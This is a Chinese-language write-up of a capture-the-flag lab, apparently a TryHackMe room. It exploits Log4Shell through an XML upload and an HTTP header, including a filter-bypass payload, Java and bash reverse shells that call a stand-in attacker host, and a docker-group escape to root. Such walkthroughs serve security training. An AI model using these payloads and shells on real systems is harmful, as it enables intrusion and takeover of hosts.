端口扫描

nmap --min-rate=10000 -p- 10.10.69.42
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-12 01:26 UTC
Nmap scan report for ip-10-10-69-42.eu-west-1.compute.internal (10.10.69.42)
Host is up (0.0046s latency).
Not shown: 65513 filtered tcp ports (no-response), 19 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 02:48:8D:30:46:3B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
nmap -sT -sC -sV -O -p22,8080 10.10.69.42
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-12 01:27 UTC
Nmap scan report for ip-10-10-69-42.eu-west-1.compute.internal (10.10.69.42)
Host is up (0.014s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 d5331f0450a3f89ba5d5551004528369 (RSA)
| 256 4a89068b1e23034a7cc4926b0f843ef8 (ECDSA)
|_ 256 9e5cdafaae39d1bb7f3d849de9a8c962 (ED25519)
8080/tcp open http-proxy
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Transfer-Encoding: chunked
| Content-Type: text/html; charset=UTF-8
| <!DOCTYPE html>
| <html class="no-js">
| <head>
| <link rel="icon" href="/assets/img/favicon.png" type="image/png">
| <link rel="stylesheet" href="/styles.css" type="text/css">
| <script>(function(e,t,n){var r=e.querySelectorAll('html')[0];r.className=r.className.replace(/(^|s)no-js(s|$)/,'$1js$2')})(document,window,0);</script>
| <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
| <script src="assets/js/upload.js" defer="defer"></script>
| </head>
| <body>
| <nav><a href="/">HOME</a></nav>
| <section>
| <div class="no-resize centre"><img src="assets/img/Shaker.png"></div>
| class="centre">Welcome to the premier XML shaking website on the market! This site will help you shake up your plain boring XML files by throwing your tags aroun
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Transfer-Encoding: chunked
| Content-Type: text/html; charset=UTF-8
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="icon" href="/assets/img/favicon.png" type="image/png">
| <link rel="stylesheet" href="/styles.css" type="text/css">
| </head>
| <body>
| <nav><a href="/">HOME</a></nav>
| <section>
| class="page-title">Not Found</h1>
| class="centre">The requested content was not found</p>
| </section>
| <div class="stretcher"></div>
| <footer class="hitcount"><span>5 requests have been made to this site! </span></footer>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=12/12%Time=6577B723%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,60F,"HTTP/1\.1\x20200\x20OK\r\nTransfer-Encoding:\x20chunked\
SF:r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\n\r\n5ac\r\n<!DOCTYPE
SF:\x20html>\n<html\x20class=\"no-js\">\n\x20\x20<head>\n\x20\x20\x20\x20<
SF:link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20type=\"ima
SF:ge/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/style
SF:s\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x20<script>\(function\(e,t
SF:,n\){var\x20r=e\.querySelectorAll\('html'\)\[0\];r\.className=r\.classN
SF:ame\.replace\(/\(\^\|\\s\)no-js\(\\s\|\$\)/,'\$1js\$2'\)}\)\(document,w
SF:indow,0\);</script>\n\x20\x20\x20\x20<script\x20src=\"https://cdnjs\.cl
SF:oudflare\.com/ajax/libs/jquery/3\.6\.0/jquery\.min\.js\"></script>\n\x2
SF:0\x20\x20\x20<script\x20src=\"assets/js/upload\.js\"\x20defer=\"defer\"
SF:></script>\n\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<nav><a\x2
SF:0href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20<section>\n\x20\x20\x20\x20
SF:\x20\x20<div\x20class=\"no-resize\x20centre\"><img\x20src=\"assets/img/
SF:Shaker\.png\"></div>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">We
SF:lcome\x20to\x20the\x20premier\x20XML\x20shaking\x20website\x20on\x20the
SF:\x20market!\x20This\x20site\x20will\x20help\x20you\x20shake\x20up\x20yo
SF:ur\x20plain\x20boring\x20XML\x20files\x20by\x20throwing\x20your\x20tags
SF:\x20aroun")%r(HTTPOptions,25F,"HTTP/1\.1\x20404\x20Not\x20Found\r\nTran
SF:sfer-Encoding:\x20chunked\r\nContent-Type:\x20text/html;\x20charset=UTF
SF:-8\r\n\r\n1f5\r\n<!DOCTYPE\x20html>\n<html>\n\x20\x20<head>\n\x20\x20\x
SF:20\x20<link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20typ
SF:e=\"image/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\
SF:"/styles\.css\"\x20type=\"text/css\">\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<nav><a\x20href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20
SF:<section>\n\x20\x20\x20\x20\x20\x20<h1\x20class=\"page-title\">Not\x20F
SF:ound</h1>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">The\x20reques
SF:ted\x20content\x20was\x20not\x20found</p>\n\x20\x20\x20\x20</section>\n
SF:\x20\x20\x20\x20<div\x20class=\"stretcher\"></div>\n\x20\x20\x20\x20<fo
SF:oter\x20class=\"hitcount\"><span>5\x20requests\x20have\x20been\x20made\
SF:x20to\x20this\x20site!\x20</span></footer>\n\x20\x20</body>\n</html>\n\
SF:r\n0\r\n\r\n");
MAC Address: 02:48:8D:30:46:3B (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 3.X (98%), Crestron 2-Series (90%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 3.10 - 3.13 (98%), Linux 3.8 (92%), Crestron XPanel control system (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.16 seconds

Web

访问8080端口,扫下目录

feroxbuster -u http://shaker.thm:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

___ ___ __ __ __ __ __ ___

|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://shaker.thm:8080
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 16l 42w 502c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 115l 248w 1979c http://shaker.thm:8080/styles.css
200 GET 57l 128w 1691c http://shaker.thm:8080/assets/js/upload.js
200 GET 9l 34w 1550c http://shaker.thm:8080/assets/img/favicon.png
200 GET 196l 965w 61721c http://shaker.thm:8080/assets/img/Shaker.png
200 GET 23l 108w 1453c http://shaker.thm:8080/
302 GET 0l 0w 0c http://shaker.thm:8080/debug => http://shaker.thm:8080/
[####################] - 86s 220560/220560 0s found:6 errors:0
[####################] - 85s 220546/220546 2582/s http://shaker.thm:8080/

是一个用于上传XML文件的界面,随便抄个XML上传上去显示上传成功,显示是上传到了uploads目录。查看源码找到了Bob留下的提示

在logs目录有着4位数的随机密码

但奇怪的是并没有扫描出uploads也没有logs。

房价的标签写着是log4j,那就测试一下是否存在log4j漏洞(CVE-2021–44228)。之前也发过THM的专门的log4j房间

开启一个监听,上传一个XML,内容是:

<?xml version="1.0" encoding="UTF-8"?>
<post>${jndi:ldap://attacker_ip:1234}</post>

oops,上传之后提示有违法内容,竟然还有过滤

<?xml version="1.0" encoding="UTF-8"?>
<post>${${::-j}ndi:ldap://attacker_ip:1234}</post>

绕过一下,上传之后成功收到了ldap请求

Getshell

接下来的利用与之前博客写的那篇文章差不多了

在kali中下载并构建marshalsec工具

mvn clean package -DskipTests 

开启一个本地ldap服务器,并且引用到本地的一个http服务器

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8000/#Exploit"

本地开启一个http服务器:

python -m http.server 

并且在这个http服务器的目录下写一个Exploit.java的exp

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash attacker_ip 1234");
} catch (Exception e) {
e.printStackTrace();
}
}
}

编译

javac Exploit.java

并且再写一个xml

<?xml version="1.0" encoding="UTF-8"?>
<post>${${::-j}ndi:ldap://attacker_ip:1389/Exploit}</post>

但是在上传之后我们的http服务器显然接收到了一个GET请求,但是并没有得到shell。

嘶,换了几个exp还是不行wrnml。

再换用网站生成的java反弹shell试试?

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {
static {
String host = "attacker_ip";
int port = 1234;
String cmd = "/bin/sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}

还是失败,搞了半天,我开始思考是不是java编译版本的问题。用了thmAttackbox上的java8来编译,然后就成功了(WDNMD搞了一下午

javac Exploit.java -source 8 -target 8

用java8来编译就可以了

Docker逃逸

然后环境也是非常奇怪,很多命令都没有,应该是docker了,转移到msf。很庆幸这个容器当中有base64。哦NO,发现没有chmod命令。试着上传busybox吧

将下面这段代码base64,然后再解码上传到靶机

import java.io.*;
import java.net.*;public class SocketClient {public static void main(String args[]) {
Socket socket = null;
DataInputStream inputStream = null;try {
socket = new Socket(args[0], Integer.valueOf(args[1]));
inputStream = new DataInputStream(socket.getInputStream());
}
catch (Exception e) {
System.err.println(e);
}while (true) {
try {
byte[] bytes = new byte[4096];
int length = inputStream.read(bytes);
if (length < 0) {
break;
}
System.out.write(bytes, 0, length);
}
catch(Exception e) {
System.err.println(e);
break;
}
}try {
inputStream.close();
socket.close();
}
catch(IOException e) {
System.err.println(e);
}
}
}

比如:

echo 'aW1wb3J0IGphdmEuaW8uKjsKaW1wb3J0IGphdmEubmV0Lio7cHVibGljIGNsYXNzIFNvY2tldENsaWVudCB7cHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nIGFyZ3NbXSkgewogICAgICBTb2NrZXQgc29ja2V0ID0gbnVsbDsKICAgICAgRGF0YUlucHV0U3RyZWFtIGlucHV0U3RyZWFtID0gbnVsbDt0cnkgewogICAgICAgICBzb2NrZXQgPSBuZXcgU29ja2V0KGFyZ3NbMF0sIEludGVnZXIudmFsdWVPZihhcmdzWzFdKSk7CiAgICAgICAgIGlucHV0U3RyZWFtID0gbmV3IERhdGFJbnB1dFN0cmVhbShzb2NrZXQuZ2V0SW5wdXRTdHJlYW0oKSk7CiAgICAgIH0KICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgIFN5c3RlbS5lcnIucHJpbnRsbihlKTsKICAgICAgfXdoaWxlICh0cnVlKSB7CiAgICAgICAgIHRyeSB7CiAgICAgICAgICAgIGJ5dGVbXSBieXRlcyA9IG5ldyBieXRlWzQwOTZdOwogICAgICAgICAgICBpbnQgbGVuZ3RoID0gaW5wdXRTdHJlYW0ucmVhZChieXRlcyk7CiAgICAgICAgICAgIGlmIChsZW5ndGggPCAwKSB7CiAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIFN5c3RlbS5vdXQud3JpdGUoYnl0ZXMsIDAsIGxlbmd0aCk7CiAgICAgICAgIH0KICAgICAgICAgY2F0Y2goRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgU3lzdGVtLmVyci5wcmludGxuKGUpOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgfQogICAgICB9dHJ5IHsKICAgICAgICAgaW5wdXRTdHJlYW0uY2xvc2UoKTsKICAgICAgICAgc29ja2V0LmNsb3NlKCk7CiAgICAgIH0KICAgICAgY2F0Y2goSU9FeGNlcHRpb24gZSkgewogICAgICAgICBTeXN0ZW0uZXJyLnByaW50bG4oZSk7CiAgICAgIH0KICAgfQp9Cg==' |base64 -d >SocketClient.java

然后进行编译

javac SocketClient.java

同理在上传个FilePermissions.java,用于给busybox设置可执行权限

import java.nio.file.*;
import java.nio.file.attribute.*;
import java.util.Set;public class FilePermissions {
public static void main(String[] args) throws Exception {
Path path = Paths.get("busybox");
if (!Files.exists(path)) {
System.err.println ("The file busybox does not exist.");
}
Set<PosixFilePermission> filePermissions = Files.readAttributes(path, PosixFileAttributes.class).permissions();
filePermissions.add(PosixFilePermission.OWNER_EXECUTE);
Files.setPosixFilePermissions(path, filePermissions);
System.out.format("File permissions: %s%n", PosixFilePermissions.toString(filePermissions));
}
}
echo 'aW1wb3J0IGphdmEubmlvLmZpbGUuKjsKaW1wb3J0IGphdmEubmlvLmZpbGUuYXR0cmlidXRlLio7CmltcG9ydCBqYXZhLnV0aWwuU2V0O3B1YmxpYyBjbGFzcyBGaWxlUGVybWlzc2lvbnMgewogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10gYXJncykgdGhyb3dzIEV4Y2VwdGlvbiB7CiAgICAgICAgUGF0aCBwYXRoID0gUGF0aHMuZ2V0KCJidXN5Ym94Iik7CiAgICAgICAgaWYgKCFGaWxlcy5leGlzdHMocGF0aCkpIHsKICAgICAgICAgICBTeXN0ZW0uZXJyLnByaW50bG4gKCJUaGUgZmlsZSBidXN5Ym94IGRvZXMgbm90IGV4aXN0LiIpOwogICAgICAgIH0KICAgICAgICBTZXQ8UG9zaXhGaWxlUGVybWlzc2lvbj4gZmlsZVBlcm1pc3Npb25zID0gRmlsZXMucmVhZEF0dHJpYnV0ZXMocGF0aCwgUG9zaXhGaWxlQXR0cmlidXRlcy5jbGFzcykucGVybWlzc2lvbnMoKTsKICAgICAgICBmaWxlUGVybWlzc2lvbnMuYWRkKFBvc2l4RmlsZVBlcm1pc3Npb24uT1dORVJfRVhFQ1VURSk7CiAgICAgICAgRmlsZXMuc2V0UG9zaXhGaWxlUGVybWlzc2lvbnMocGF0aCwgZmlsZVBlcm1pc3Npb25zKTsKICAgICAgICBTeXN0ZW0ub3V0LmZvcm1hdCgiRmlsZSBwZXJtaXNzaW9uczogICVzJW4iLCAgUG9zaXhGaWxlUGVybWlzc2lvbnMudG9TdHJpbmcoZmlsZVBlcm1pc3Npb25zKSk7CiAgICB9Cn0K' |base64 -d >FilePermissions.java
javac FilePermissions.java

在kali中

nc -lvp PORT < busybox

在反弹shell上:

java SocketClient YOUR_IP PORT > busybox

给busybox添加权限:

java FilePermissions

再加个环境变量

export PATH=/app:$PATH
busybox chmod +x shell.elf

成功转移到msf

大概是把基础的环境给搭建好了,开始docker逃逸吧

发现有一个bob用户,然而家目录是空的

查看一下IP

busybox ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever

发现并不是房间所给的IP,需要扫描一下这个内网中的其他主机,通过msf上传一个fscan。但是当前用户不能发送icmp包啊,那也就做不了主机发现了?

不过还是得知了172.18.0.1是网关,那么试着

./nmap -p- 172.18.0.1
Unable to find nmap-services! Resorting to /etc/services

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-12-15 15:04 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-172-18-0-1.eu-west-1.compute.internal (172.18.0.1)
Host is up (0.0037s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-alt
8888/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 3.36 seconds

感觉这台大概率是主机了,利用msf做一个代理

在浏览器中访问8888端口(因为只能访问这个端口了),但是报错了,通过搜索可以知道这是springboot框架的报错,然而我也不是很熟

而且报错提示我们的请求有问题

proxychains curl -X OPTIONS http://172.18.0.1:8888/ -vv
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

* Trying 172.18.0.1:8888...
* Connected to 172.18.0.1 (127.0.0.1) port 8888

> OPTIONS / HTTP/1.1
> Host: 172.18.0.1:8888
> User-Agent: curl/8.3.0
> Accept: */*
>
> < HTTP/1.1 200
> < Required: X-Api-Version
> < Allow: GET,OPTIONS
> < Content-Length: 0
> < Date: Fri, 15 Dec 2023 15:14:16 GMT
> <

* Connection #0 to host 172.18.0.1 left intact

-X options可以让我们获得服务器的请求的额外信息

得到请求头包含X-Api-Version

那就添加

proxychains curl -H "X-Api-Version: test" http://172.18.0.1:8888/ -vv

发现返回了一个helloworld。再试一下log4j

proxychains curl -H "X-Api-Version: \${\${::-j}ndi:ldap://attacker_ip:1389/Exploit}" http://172.18.0.1:8888/ -vv

oops,本地的marshalsec并没有收到请求。好吧,没有办法,看看WP是怎么做的,似乎是由于java开启了trustCodebase功能,不会信任codebase

可以利用这个来绕过

https://github.com/pimps/JNDI-Exploit-Kit.git

java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C 'bash -i &>/dev/tcp/ATTACKER_IP_ADDRESS/4455 <&1' -R ATTACKER_IP_ADDRESS:1389 -O RMI

选择trustURLCodebase为false并且具有Tomcat 8+或SpringBoot,这可能会绕过不允许marshalsec的恶意程序工作的过滤器

curl -H 'X-API-Version: ${${::-j}ndi:${::-r}mi://ATTACKER_IP_ADDRESS:1389/ozbud1}' http://172.18.0.1:8888/ -vv

MD,好像因为java版本的问题又失败了,换attackbox,发现也是不行

后来换了jre1.8来运行就可以了

直接得到反弹shell

提权

发现交互不是很好,很多命令都没有

可以用find找到python

/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'

id发现bob是docker组成员,那就可以直接跑一个镜像然后把根目录挂载进去,但是docker images发现之后一个shaker镜像也就是我门一开始拿到shell的那个,很多命令没有,所以传个alpine上去

在自己kali上:

docker pull alpine:latest
docker image save alpine -o alpine.tar
chmod +r alpine.tar

开启web服务器

curl http://attacker_ip:8000/alpine.tar -O /tmp/alpine.tar
docker image load -i alpine.tar
docker run -it -v /:/host/ alpine:latest chroot /host/ bash

提权成功

碎碎念

从下午打到晚上快一点(虽然中间有上课吃饭,暴露出了好多关于java的问题,log4j还有springboot什么的,本质还是对java安全的不熟悉,算是接下来需要学习的一个大方向吧。各种利用,还有用java立足什么的,真的NB。提权还是中规中矩的算是比较简单的吧呜呜呜。